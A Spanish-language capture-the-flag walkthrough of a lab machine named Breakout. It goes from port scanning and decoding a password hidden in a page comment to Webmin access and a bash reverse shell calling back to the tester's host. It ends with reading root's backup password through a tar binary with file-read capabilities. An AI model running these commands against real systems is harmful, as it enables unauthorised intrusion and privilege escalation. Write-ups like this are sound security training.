Enumeramos puertos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.112
❯ nmap -sCV -p80,139,445,10000,20000 -oN 02-targeted.txt 192.168.1.112
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-18 11:19 -04
Nmap scan report for 192.168.1.112
Host is up (0.00027s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.51 ((Debian))
|_http-server-header: Apache/2.4.51 (Debian)
|_http-title: Apache2 Debian Default Page: It works
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
10000/tcp open http MiniServ 1.981 (Webmin httpd)
|_http-title: 200 — Document follows
20000/tcp open http MiniServ 1.830 (Webmin httpd)
|_http-title: 200 — Document follows
Host script results:
|_nbstat: NetBIOS name: BREAKOUT, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.73 secondsEl código fuente del sitio esconde una contraseña cifrada en Brainfuck:
<!--
don't worry no one will get here, it's safe to share with you my access. Its encrypted :)
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++.
-->La decodificamos:
.2uqPEfj3D<P'a-3Enumeramos SMB con enum4linux y descubrimos el usuario cyber:
❯ enum4linux -a 192.168.1.112
...
[+] Server 192.168.1.112 allows sessions using username '', password ''
...
S-1-22-1-1000 Unix User\cyber (Local User)
...Probamos cyber:.2uqPEfj3D<P'a-3 en los servicios MiniServ/Webmin (10000 y 20000) y entramos en el del puerto 20000, que ofrece una consola de comandos. Lanzamos una reverse shell como cyber y obtenemos la primera flag:
[cyber@breakout cyber]$ bash -c "bash -i >& /dev/tcp/192.168.1.3/1234 0>&1"
❯ ncat -nlvp 1234
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.112:60666.
bash: cannot set terminal process group (2494): Inappropriate ioctl for device
bash: no job control in this shell
cyber@breakout:~$Para escalar, listamos las capabilities (Linux Capabilities Privesc):
cyber@breakout:/$ getcap -r / 2>/dev/null
/home/cyber/tar cap_dac_read_search=epEl tar del home de cyber tiene cap_dac_read_search, que permite leer cualquier archivo. En /var/backups hay un .old_pass.bak que no podemos leer directamente:
-rw------- 1 root root 17 Oct 20 2021 .old_pass.bakLo leemos comprimiéndolo y extrayéndolo con ese tar:
cyber@breakout:~$ ./tar -cf bak.tar /var/backups/.old_pass.bak
cyber@breakout:~$ ./tar -xf bak.tar
cyber@breakout:~/var/backups$ cat .old_pass.bak
Ts&4&YurgtRX(=~hY nos autenticamos como root con esa contraseña:
cyber@breakout:~/var/backups$ su root
Password: Ts&4&YurgtRX(=~h
root@breakout:/home/cyber/var/backups#Obtenemos nuestra flag.
Fin.